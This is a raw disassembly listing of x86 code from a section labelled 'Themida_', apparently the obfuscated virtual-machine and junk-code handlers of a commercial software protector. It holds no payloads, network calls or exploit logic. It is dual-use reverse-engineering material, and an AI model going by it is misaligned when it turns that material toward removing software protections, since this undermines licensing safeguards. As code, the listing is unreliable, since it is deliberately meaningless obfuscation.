loc_547CC6:				; CODE XREF: Themida_:0054E3D4j
		sub	esi, 3AE644Fh
		sub	esi, 75A9180Eh
		add	esi, eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_54C35B
; ---------------------------------------------------------------------------


loc_547CE8:				; CODE XREF: Themida_:00545688j
		not	ch
		mov	dl, ch
		jmp	loc_54448C
; ---------------------------------------------------------------------------


loc_547CF1:				; CODE XREF: Themida_:0054CADCj
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_54DAB7
; ---------------------------------------------------------------------------


loc_547CFB:				; CODE XREF: Themida_:0054731Dj
		mov	eax, esp
		push	ecx
		mov	ecx, 61204784h
		inc	ecx
		jmp	loc_545461
; ---------------------------------------------------------------------------


loc_547D09:				; CODE XREF: Themida_:0054CE18j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_549DC7
; ---------------------------------------------------------------------------


loc_547D14:				; CODE XREF: Themida_:00548499j
		mov	esp, [esp]
		imul	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54DF52
; ---------------------------------------------------------------------------


loc_547D27:				; CODE XREF: Themida_:0054C5C5j
		and	ebp, 1E47061Dh
		jmp	loc_54F902
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_547D41:				; CODE XREF: Themida_:0054B865j
		sub	eax, 0F017D8E0h
		jmp	loc_547283
; ---------------------------------------------------------------------------


loc_547D4B:				; CODE XREF: Themida_:00549659j
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	ebx
		jmp	loc_54AEAE
; ---------------------------------------------------------------------------


loc_547D59:				; CODE XREF: Themida_:0054BDB4j
		shl	ecx, 6
		push	edi
		mov	edi, 0FCEF2A55h
		xor	ecx, edi
		pop	edi
		jmp	loc_54E1D9
; ---------------------------------------------------------------------------


loc_547D6A:				; CODE XREF: Themida_:0054EE6Cj
		xor	ecx, [esp]
		jmp	loc_547844
; ---------------------------------------------------------------------------


loc_547D72:				; CODE XREF: Themida_:0054B923j
		pop	ebp
		add	eax, 527B5515h
		add	eax, edx
		sub	eax, 527B5515h
		push	dword ptr [esp]
		jmp	loc_54A5E4
; ---------------------------------------------------------------------------


loc_547D87:				; CODE XREF: Themida_:005453B3j
		add	ecx, esi
		mov	esi, [esp]
		jmp	loc_54BFF3
; ---------------------------------------------------------------------------


loc_547D91:				; CODE XREF: Themida_:00549215j
		push	ecx
		mov	cl, 17h
		xor	cl, 28h
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54AE8A
; ---------------------------------------------------------------------------


loc_547DA5:				; CODE XREF: Themida_:00544096j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_547DB5:				; CODE XREF: Themida_:00544B4Cj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_54FFBE
; ---------------------------------------------------------------------------


loc_547DC7:				; CODE XREF: Themida_:0054A913j
		mov	dx, [esp]
		add	esp, 2
		sub	esp, 4
		mov	[esp], ebx
		push	2470h
		mov	[esp], eax
		push	ebx
		mov	bl, dl
		push	edx
		jmp	loc_54C282
; ---------------------------------------------------------------------------


loc_547DEB:				; CODE XREF: Themida_:0054843Bj
		push	ebx
		jmp	loc_54F01A
; ---------------------------------------------------------------------------


loc_547DF1:				; CODE XREF: Themida_:0054620Bj
		push	edx
		mov	edx, esp
		jmp	loc_54D494
; ---------------------------------------------------------------------------


loc_547DF9:				; CODE XREF: Themida_:005476AEj
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_546BE8
; ---------------------------------------------------------------------------


loc_547E02:				; CODE XREF: Themida_:0054FF7Cj
		neg	edx
		add	edx, 1
		push	edi
		mov	edi, 2E6D35A5h
		jmp	loc_5465B2
; ---------------------------------------------------------------------------


loc_547E12:				; CODE XREF: Themida_:00549B3Cj
		push	4648h
		mov	[esp], ebx
		mov	bx, 4123h
		shr	bx, 4
		push	small 7273h
		mov	[esp], bx
		jmp	loc_54E457
; ---------------------------------------------------------------------------


loc_547E2F:				; CODE XREF: Themida_:00544FF0j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_547E34:				; CODE XREF: Themida_:0054ABD2j
		pop	ebp
		xor	ebp, 45CD6EC5h
		jmp	loc_54DF07
; ---------------------------------------------------------------------------


loc_547E40:				; CODE XREF: Themida_:005455F3j
		xor	ebx, [esp]
		jmp	loc_54B3E1
; ---------------------------------------------------------------------------


loc_547E48:				; CODE XREF: Themida_:0054C2EFj
		add	esp, 4
		jmp	loc_54BAF1
; ---------------------------------------------------------------------------


loc_547E50:				; CODE XREF: Themida_:0054D45Dj
		shl	ch, 1
		shl	ch, 3
		neg	ch
		xor	ch, 76h
		xor	bh, ch
		jmp	loc_54B580
; ---------------------------------------------------------------------------


loc_547E61:				; CODE XREF: Themida_:0054C9C4j
		add	ebp, 467B4C17h
		mov	ecx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 50455294h
		jmp	loc_54BE34
; ---------------------------------------------------------------------------


loc_547E75:				; CODE XREF: Themida_:00544C04j
		push	59722EA4h
		pop	ebx
		shl	ebx, 1
		push	ebp
		jmp	loc_54F4B9
; ---------------------------------------------------------------------------


loc_547E83:				; CODE XREF: Themida_:0054AFE3j
		add	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		bt	[esp], ax
		pushf
		jmp	loc_549A65
; ---------------------------------------------------------------------------


loc_547E97:				; CODE XREF: Themida_:0054772Bj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_54FFC6
; ---------------------------------------------------------------------------


loc_547EB0:				; CODE XREF: Themida_:0054EE2Aj
		add	al, cl
		add	al, 50h
		jmp	loc_54D462
; ---------------------------------------------------------------------------


loc_547EB9:				; CODE XREF: Themida_:00546DA5j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edi
		push	4
		push	dword ptr [esp]
		pop	edi
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 0B1F34C6h
		jmp	loc_548A70
; ---------------------------------------------------------------------------


loc_547EDC:				; CODE XREF: Themida_:0054B4D0j
		add	eax, 4
		jmp	loc_54BA51
; ---------------------------------------------------------------------------


loc_547EE6:				; CODE XREF: Themida_:0054886Cj
		sub	esi, 0D8038A2h
		push	edx
		jmp	loc_54BA9C
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 54502404h, 0FFD0C5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547EFD:				; CODE XREF: Themida_:0054D1E0j
		add	edi, 5BE54D9Dh
		jmp	loc_54A741
; ---------------------------------------------------------------------------


loc_547F08:				; CODE XREF: Themida_:0054D15Dj
		pop	esi
		or	eax, eax
		jnz	loc_545B16
		mov	edx, 5F8447BCh
		push	4C62h
		mov	[esp], edx
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		jmp	loc_5459B1
; ---------------------------------------------------------------------------


loc_547F2B:				; CODE XREF: Themida_:0054D8D6j
		push	dword ptr [esp+4]
		jmp	loc_54E276
; ---------------------------------------------------------------------------


loc_547F34:				; CODE XREF: Themida_:00549708j
		pop	esp
		jmp	loc_54FF47
; ---------------------------------------------------------------------------


loc_547F3A:				; CODE XREF: Themida_:0054F9F3j
		mov	eax, 94C021Fh
		shr	eax, 8
		and	eax, 0F700DE5h
		inc	eax
		sub	eax, 0B04E076Fh
		mov	edx, eax
		pop	eax
		sub	esp, 4
		jmp	loc_5452D3
; ---------------------------------------------------------------------------


loc_547F58:				; CODE XREF: Themida_:0054BF22j
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_548EA5
; ---------------------------------------------------------------------------


loc_547F62:				; CODE XREF: Themida_:00546C57j
		or	ch, 72h
		sub	ch, 4Bh
		jmp	loc_54DDC9
; ---------------------------------------------------------------------------


loc_547F6D:				; CODE XREF: Themida_:0054E97Dj
		sub	eax, 7F3F41DCh
		jmp	loc_54E21A
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	726h
		mov	[esp], ebx
		mov	ebx, 526D0031h
		and	ebx, 421D0583h
		shr	ebx, 6
		jmp	loc_54CA5F
; ---------------------------------------------------------------------------


loc_547F95:				; CODE XREF: Themida_:0054B657j
		shl	edx, 7
		not	edx
		inc	edx
		xor	edx, 7A513184h
		mov	esi, edx
		pop	edx
		sub	ecx, 1CAC76E1h
		jmp	loc_54A5D2
; ---------------------------------------------------------------------------


loc_547FAF:				; CODE XREF: Themida_:0054FEDDj
		mov	[esp], ax
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_547FB8:				; CODE XREF: Themida_:00546F5Bj
		mov	edi, [esp]
		jmp	loc_54A98F
; ---------------------------------------------------------------------------


loc_547FC0:				; CODE XREF: Themida_:0054CE24j
		mov	ebx, 46999D1Bh
		xor	edi, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 5B6E3F3Eh
		add	edx, 0D488DA0Ah
		jmp	loc_54AE7A
; ---------------------------------------------------------------------------


loc_547FEF:				; CODE XREF: Themida_:0054CD26j
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, 401C2446h
		and	edx, 4F2707E8h
		add	edx, 0BFFBFBC4h
		mov	ebp, edx
		pop	edx
		sub	ecx, 69025D0Eh
		add	ecx, ebp
		jmp	loc_54B8A6
; ---------------------------------------------------------------------------


loc_548018:				; CODE XREF: Themida_:00546405j
		mov	ecx, 14586672h
		jmp	loc_544451
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_54DE32
; ---------------------------------------------------------------------------


loc_548036:				; CODE XREF: Themida_:0054AA65j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ecx
		jmp	loc_54A72E
; ---------------------------------------------------------------------------


loc_54804C:				; CODE XREF: Themida_:00544914j
		sub	ebx, edi
		sub	ebx, 4A60221Ah
		pop	edi
		sub	ebx, esi
		jmp	loc_5483A8
; ---------------------------------------------------------------------------


loc_54805C:				; CODE XREF: Themida_:00544BB0j
		shl	ebx, 1
		jmp	loc_548C6D
; ---------------------------------------------------------------------------


loc_548063:				; CODE XREF: Themida_:0054EED2j
		mov	edx, esp
		push	esi
		mov	esi, 0A466705h
		dec	esi
		shr	esi, 6
		jmp	loc_547521
; ---------------------------------------------------------------------------


loc_548074:				; CODE XREF: Themida_:0054CDD5j
		dec	eax
		jmp	loc_54BFE8
; ---------------------------------------------------------------------------


loc_54807A:				; CODE XREF: Themida_:0054867Fj
		or	edi, 6AF36CC2h
		shl	edi, 8
		dec	edi
		inc	edi
		xor	edi, 0E581F150h
		add	esi, edi
		pop	edi
		jmp	loc_547039
; ---------------------------------------------------------------------------


loc_548093:				; CODE XREF: Themida_:0054E447j
		pop	ecx
		jmp	loc_5469A4
; ---------------------------------------------------------------------------


loc_548099:				; CODE XREF: Themida_:0054CAFAj
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	esi
		jmp	loc_5453AE
; ---------------------------------------------------------------------------


loc_5480A4:				; CODE XREF: Themida_:0054EC38j
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 711C33AAh
		not	esi
		jmp	loc_54B4C1
; ---------------------------------------------------------------------------


loc_5480B7:				; CODE XREF: Themida_:005442C3j
					; Themida_:0054C227j
		push	ecx
		jmp	loc_544E80
; ---------------------------------------------------------------------------


loc_5480BD:				; CODE XREF: Themida_:005440B7j
		mov	[esp], edi
		push	esi
		mov	esi, 77C5F1Bh
		mov	edi, 77C5F1Ah
		xor	edi, esi
		pop	esi
		and	ecx, edi
		jmp	loc_544EE5
; ---------------------------------------------------------------------------


loc_5480D5:				; CODE XREF: Themida_:00548555j
		pop	esp
		xor	ebx, [esp]
		jmp	loc_5443A2
; ---------------------------------------------------------------------------


loc_5480DE:				; CODE XREF: Themida_:0054ADE2j
		sub	ebx, eax
		pop	eax
		sub	ebx, eax
		jmp	loc_545C35
; ---------------------------------------------------------------------------


loc_5480E8:				; CODE XREF: Themida_:00545F02j
		mov	esi, 1783100Ah
		jmp	loc_54D07D
; ---------------------------------------------------------------------------


loc_5480F2:				; CODE XREF: Themida_:00548EA0j
		sub	ebx, 4
		xor	ebx, [esp]
		jmp	loc_54F9D1
; ---------------------------------------------------------------------------


loc_548100:				; CODE XREF: Themida_:0054FFC1j
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 38757C5h
		inc	ecx
		and	ecx, 4B6F4A71h
		or	ecx, 3EEF0BA1h
		add	ecx, 0C010B423h
		add	eax, ecx
		pop	ecx
		jmp	loc_54F85E
; ---------------------------------------------------------------------------


loc_54812E:				; CODE XREF: Themida_:0054B80Ej
		xor	ah, 0BAh
		sub	bl, 6Eh
		sub	bl, ah
		add	bl, 6Eh
		mov	eax, [esp]
		jmp	loc_547778
; ---------------------------------------------------------------------------


loc_548141:				; CODE XREF: Themida_:0054FB60j
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebp
		mov	ebp, 59F85FA6h
		and	ebp, 3CDD2AC6h
		shl	ebp, 2
		and	ebp, 25A72460h
		jmp	loc_544AF8
; ---------------------------------------------------------------------------


loc_548163:				; CODE XREF: Themida_:0054F70Bj
		push	esi
		mov	esi, 1BA6512Ah
		jmp	loc_54D3ED
; ---------------------------------------------------------------------------


loc_54816E:				; CODE XREF: Themida_:005467CFj
		push	6909h
		mov	[esp], edi
		jmp	loc_545310
; ---------------------------------------------------------------------------


loc_54817B:				; CODE XREF: Themida_:00545D3Cj
		push	eax
		jmp	loc_54B8CE
; ---------------------------------------------------------------------------


loc_548181:				; CODE XREF: Themida_:0054DBACj
		mov	edx, 65F45A54h
		jmp	loc_548825
; ---------------------------------------------------------------------------


loc_54818B:				; CODE XREF: Themida_:0054E010j
		pop	eax
		not	eax
		or	eax, 4A2A2E22h
		or	eax, 7F22CBh
		xor	eax, 3CBA0605h
		push	esi
		push	4A1153D8h
		pop	esi
		jmp	loc_54E20F
; ---------------------------------------------------------------------------


loc_5481A9:				; CODE XREF: Themida_:0054E33Fj
		or	esi, 1D6D67E2h
		xor	esi, 6AB52C22h
		sub	esi, 574A5BC3h
		sub	edx, esi
		jmp	loc_5489D2
; ---------------------------------------------------------------------------


loc_5481C2:				; CODE XREF: Themida_:00548C1Bj
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54B335
; ---------------------------------------------------------------------------


loc_5481DE:				; CODE XREF: Themida_:005448B9j
		push	41C0h
		mov	[esp], ecx
		push	edi
		jmp	loc_547671
; ---------------------------------------------------------------------------


loc_5481EC:				; CODE XREF: Themida_:005456D3j
		push	esi
		mov	esi, 7E6B021Ah
		mov	ebp, esi
		pop	esi
		neg	ebp
		jmp	loc_5470D9
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	662h
		jmp	loc_54AF45
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	3500h
		mov	[esp], ebp
		push	esp
		jmp	loc_54D9BA
; ---------------------------------------------------------------------------


loc_548221:				; CODE XREF: Themida_:0054A645j
		mov	edx, ebp
		pop	ebp
		jmp	loc_5496B3
; ---------------------------------------------------------------------------


loc_548229:				; CODE XREF: Themida_:005474BEj
		mov	edi, 2D973DA2h
		xor	edi, 2D973DA6h
		add	eax, edi
		jmp	loc_54AB12
; ---------------------------------------------------------------------------


loc_54823B:				; CODE XREF: Themida_:00549E8Fj
		push	ebp
		mov	ebp, 4
		add	ecx, 318D2A86h
		add	ecx, 6D5226C3h
		add	ecx, ebp
		sub	ecx, 6D5226C3h
		sub	ecx, 318D2A86h
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, 290F2AE2h
		dec	ebx
		or	ebx, 24DC16BFh
		push	edi
		mov	edi, 34F88CFh
		add	ebx, edi
		jmp	loc_54F915
; ---------------------------------------------------------------------------


loc_54827F:				; CODE XREF: Themida_:00544E81j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_549F97
; ---------------------------------------------------------------------------


loc_54828A:				; CODE XREF: Themida_:00546E20j
		pop	edx
		xor	al, dl
		mov	edx, [esp]
		push	edx
		jmp	loc_54AA63
; ---------------------------------------------------------------------------


loc_548296:				; CODE XREF: Themida_:00544751j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 5D2D02AAh
		jmp	loc_54D7C2
; ---------------------------------------------------------------------------


loc_5482A9:				; CODE XREF: Themida_:00548356j
		mov	eax, 7E4D49D4h
		sub	eax, 4E5C2640h
		neg	eax
		add	eax, 2FF12398h
		jmp	loc_54AF13
; ---------------------------------------------------------------------------


loc_5482BF:				; CODE XREF: Themida_:00547379j
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	$+5
		xchg	edi, [esp]
		jmp	loc_54F6F3
; ---------------------------------------------------------------------------


loc_5482DE:				; CODE XREF: Themida_:0054996Bj
		add	al, ch
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_546975
; ---------------------------------------------------------------------------


loc_5482E9:				; CODE XREF: Themida_:0054936Fj
		mov	eax, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		add	eax, 7C053457h
		sub	esp, 4
		mov	[esp], ecx
		push	4000h
		pop	ecx
		and	eax, ecx
		jmp	loc_5486AF
; ---------------------------------------------------------------------------


loc_548311:				; CODE XREF: Themida_:0054F253j
		add	word ptr [esp+2], 2CA5h
		push	bp
		mov	bp, 3216h
		add	[esp+4], bp
		pop	bp
		sub	word ptr [esp+2], 0C53h
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_54A504
; ---------------------------------------------------------------------------


loc_548338:				; CODE XREF: Themida_:005478CDj
		mov	ch, dl
		mov	bh, ch
		pop	ecx
		jmp	loc_54EEF6
; ---------------------------------------------------------------------------


loc_548342:				; CODE XREF: Themida_:0054449Dj
		sub	dl, 0A2h
		jmp	loc_549543
; ---------------------------------------------------------------------------


loc_54834A:				; CODE XREF: Themida_:00549F56j
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	eax
		push	esp
		pop	eax
		push	ebp
		push	eax
		jmp	loc_5482A9
; ---------------------------------------------------------------------------


loc_54835B:				; CODE XREF: Themida_:00546D63j
		xchg	ebp, [esp]
		pop	esp
		xor	ebx, 629A06D7h
		push	ecx
		push	7A701EE5h
		jmp	loc_544033
; ---------------------------------------------------------------------------


loc_548370:				; CODE XREF: Themida_:0054C14Aj
		pop	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_549FE6
; ---------------------------------------------------------------------------


loc_54837F:				; CODE XREF: Themida_:0054641Aj
		push	eax
		mov	eax, 3DC40B36h
		or	eax, 3AFC79EFh
		inc	eax
		jmp	loc_54AC70
; ---------------------------------------------------------------------------


loc_548390:				; CODE XREF: Themida_:00545F24j
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54EF13
; ---------------------------------------------------------------------------


loc_54839D:				; CODE XREF: Themida_:00544352j
		add	edx, 4
		jmp	loc_545A41
; ---------------------------------------------------------------------------


loc_5483A8:				; CODE XREF: Themida_:00548057j
		push	eax
		mov	eax, 4A443A4Ch
		jmp	loc_544DC8
; ---------------------------------------------------------------------------


loc_5483B3:				; CODE XREF: Themida_:00546561j
		mov	ebx, esi
		push	ebx
		pop	ebp
		pop	ebx
		pop	esi
		jmp	loc_544B2E
; ---------------------------------------------------------------------------


loc_5483BE:				; CODE XREF: Themida_:0054CD0Cj
		push	ecx
		jmp	loc_54E585
; ---------------------------------------------------------------------------


loc_5483C4:				; CODE XREF: Themida_:0054874Fj
		sub	[esp+4], ebp
		jmp	loc_546457
; ---------------------------------------------------------------------------


loc_5483CD:				; CODE XREF: Themida_:005489AFj
		push	ebx
		mov	ebx, 592F29A5h
		mov	edx, ebx
		pop	ebx
		add	eax, edx
		jmp	loc_54E353
; ---------------------------------------------------------------------------


loc_5483DD:				; CODE XREF: Themida_:0054E059j
		mov	[esp], edx
		jmp	loc_54D1CE
; ---------------------------------------------------------------------------


loc_5483E5:				; CODE XREF: Themida_:00548F24j
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_54592F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54A0F2
; ---------------------------------------------------------------------------


loc_548410:				; CODE XREF: Themida_:00545D2Aj
		mov	esp, [esp]
		jmp	loc_5448BE
; ---------------------------------------------------------------------------


loc_548418:				; CODE XREF: Themida_:00547A6Cj
		push	ecx
		mov	ch, 0A8h
		jmp	loc_548F37
; ---------------------------------------------------------------------------


loc_548420:				; CODE XREF: Themida_:0054489Aj
		push	edx
		jmp	loc_5486C9
; ---------------------------------------------------------------------------


loc_548426:				; CODE XREF: Themida_:0054591Cj
		pop	esp
		push	66B8h
		mov	[esp], ebx
		jmp	loc_54FC58
; ---------------------------------------------------------------------------


loc_548434:				; CODE XREF: Themida_:0054FDC2j
		not	dl
		shl	dl, 5
		not	dl
		jmp	loc_547DEB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565CDA


loc_548440:				; CODE XREF: sub_565CDA-196ECj
		push	dx
		jmp	sub_54EAB8
; END OF FUNCTION CHUNK	FOR sub_565CDA
; ---------------------------------------------------------------------------


loc_548447:				; CODE XREF: Themida_:00546BF6j
		mov	ecx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		push	esp
		jmp	loc_547CB3
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	small 6C7Ah
		mov	[esp], cx
		mov	cl, 0ECh
		sub	cl, 0FFh
		jmp	loc_548D88
; ---------------------------------------------------------------------------


loc_54847A:				; CODE XREF: Themida_:0054A5BEj
		sub	esi, ebx
		pop	ebx
		or	edi, esi
		pop	esi
		sub	edi, 5BA42BE6h
		sub	edx, edi
		jmp	loc_54B4E2
; ---------------------------------------------------------------------------


loc_54848D:				; CODE XREF: Themida_:0054B931j
		sub	eax, ebx
		pop	ebx
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_547D14
; ---------------------------------------------------------------------------


loc_54849E:				; CODE XREF: Themida_:0054684Dj
		pop	ecx
		jmp	locret_544382
; ---------------------------------------------------------------------------


loc_5484A4:				; CODE XREF: Themida_:00549867j
		or	eax, eax
		jz	loc_545B16
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 28h
		jmp	loc_54B67F
; ---------------------------------------------------------------------------


loc_5484BF:				; CODE XREF: Themida_:0054D078j
		mov	ecx, eax
		pop	eax
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [edx]
		jmp	loc_544995
; ---------------------------------------------------------------------------


loc_5484D4:				; CODE XREF: Themida_:00545003j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_5484D9:				; CODE XREF: Themida_:0054ED96j
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		jmp	loc_5455ED
; ---------------------------------------------------------------------------


loc_5484EA:				; CODE XREF: Themida_:005493B5j
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_547B1E
; ---------------------------------------------------------------------------


loc_5484FB:				; CODE XREF: Themida_:0054C4BFj
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		jmp	loc_54A9B7
; ---------------------------------------------------------------------------


loc_54850B:				; CODE XREF: Themida_:0054DD19j
		sub	edi, ecx
		mov	ecx, [esp]
		push	ebp
		jmp	loc_5496FA
; ---------------------------------------------------------------------------


loc_548516:				; CODE XREF: Themida_:0054AC25j
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 199D717Dh
		add	edx, eax
		push	esi
		mov	esi, 199D717Dh
		jmp	loc_544A1C
; ---------------------------------------------------------------------------


loc_54852F:				; CODE XREF: Themida_:0054DCEAj
		mov	eax, 2
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_5463A6
; ---------------------------------------------------------------------------


loc_54853F:				; CODE XREF: Themida_:0054DA30j
		pop	ebx
		add	al, 0C0h
		sub	al, dl
		sub	al, 0C0h
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54488F
; ---------------------------------------------------------------------------


loc_54854F:				; CODE XREF: Themida_:00549C4Bj
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5480D5
; ---------------------------------------------------------------------------


loc_54855A:				; CODE XREF: Themida_:005446C9j
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		push	small word ptr [eax]
		jmp	loc_5445D0
; ---------------------------------------------------------------------------


loc_548569:				; CODE XREF: Themida_:00548666j
		mov	[esp], ebp
		mov	ebp, 24BD52CCh
		jmp	loc_54427F
; ---------------------------------------------------------------------------


loc_548576:				; CODE XREF: Themida_:0054DD8Cj
		push	eax
		mov	al, 36h
		or	al, 0BFh
		dec	al
		jmp	loc_549D0C
; ---------------------------------------------------------------------------


loc_548582:				; CODE XREF: Themida_:005456EDj
		sub	eax, 1A0B0ED7h
		jmp	loc_54F5AC
; ---------------------------------------------------------------------------


loc_54858C:				; CODE XREF: Themida_:0054CC2Dj
		pop	edi
		sub	ebx, edx
		pop	edx
		and	ebx, 72D5A2Ch
		and	ebx, 30AC19E5h
		inc	ebx
		push	ecx
		mov	ecx, 2B3C32C5h
		add	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_544A7A
; ---------------------------------------------------------------------------


loc_5485B1:				; CODE XREF: Themida_:0054BCA7j
		xor	edi, 732B5F2Ch
		shl	edi, 5
		xor	edi, 4FBD26A0h
		or	edi, 6732D4Bh
		push	edx
		jmp	loc_54DEE0
; ---------------------------------------------------------------------------


loc_5485CC:				; CODE XREF: Themida_:00548AAAj
		push	ebp
		mov	ebp, 5D772206h
		add	edi, ebp
		jmp	loc_54D9CE
; ---------------------------------------------------------------------------


loc_5485D9:				; CODE XREF: Themida_:00546B4Ej
		not	ecx
		sub	ecx, 2D37312h
		sub	ecx, 0A0D33EB8h
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5495AF
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_5485FE:				; CODE XREF: Themida_:0054E818j
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 2
		sub	eax, 13B852D4h
		add	eax, esi
		add	eax, 13B852D4h
		jmp	loc_54FEAA
; ---------------------------------------------------------------------------


loc_54861C:				; CODE XREF: Themida_:0054BF30j
		push	4913h
		jmp	loc_54788E
; ---------------------------------------------------------------------------


loc_548626:				; CODE XREF: Themida_:00547344j
		push	0EADh
		jmp	loc_54473C
; ---------------------------------------------------------------------------


loc_548630:				; CODE XREF: Themida_:005459ACj
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_548B0D
; ---------------------------------------------------------------------------


loc_548644:				; CODE XREF: Themida_:0054E4B6j
		pop	esp
		xor	ebx, eax
		push	edx
		mov	edx, 2Ch
		add	edx, edi
		jmp	loc_54DF99
; ---------------------------------------------------------------------------


loc_548654:				; CODE XREF: Themida_:00547BD1j
		push	ebx
		push	esi
		jmp	loc_54F5D4
; ---------------------------------------------------------------------------


loc_54865B:				; CODE XREF: Themida_:0054B3DCj
		mov	ecx, 22B37D1h
		add	ecx, edi
		pop	edi
		sub	esp, 4
		jmp	loc_548569
; ---------------------------------------------------------------------------


loc_54866B:				; CODE XREF: Themida_:0054630Dj
		mov	ebx, esp
		jmp	loc_5458B0
; ---------------------------------------------------------------------------


loc_548672:				; CODE XREF: Themida_:00548A9Dj
		sub	esi, 7DA81641h
		pop	ebp
		push	edi
		mov	edi, 22023EACh
		jmp	loc_54807A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_548692:				; CODE XREF: Themida_:005455E8j
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_5486A5:				; CODE XREF: Themida_:0054B7F8j
		mov	ebx, 4
		jmp	loc_54F58B
; ---------------------------------------------------------------------------


loc_5486AF:				; CODE XREF: Themida_:0054830Cj
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		push	esi
		push	ecx
		mov	ecx, 3309079Ch
		mov	esi, ecx
		jmp	loc_549744
; ---------------------------------------------------------------------------


loc_5486C9:				; CODE XREF: Themida_:00548421j
		mov	dh, 37h
		mov	ch, 0A6h
		sub	ch, dh
		pop	edx
		push	ebx
		jmp	loc_545D7E
